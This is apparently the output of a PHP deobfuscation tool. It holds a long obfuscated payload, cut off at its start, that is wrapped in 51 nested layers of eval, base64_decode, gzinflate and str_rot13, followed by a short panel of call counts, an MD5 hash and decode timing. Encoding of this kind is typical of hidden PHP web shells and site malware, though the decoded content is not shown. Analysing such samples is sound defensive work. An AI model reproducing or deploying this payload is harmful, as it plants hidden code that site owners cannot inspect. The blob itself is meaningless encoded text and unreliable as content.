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'))); ?>

Function Calls

gzinflate 51
str_rot13 28
base64_decode 51

Variables

None

Stats

MD5 9b4d5dc94dae3877ae111ebfc53cb185
Eval Count 51
Decode Time 5914 ms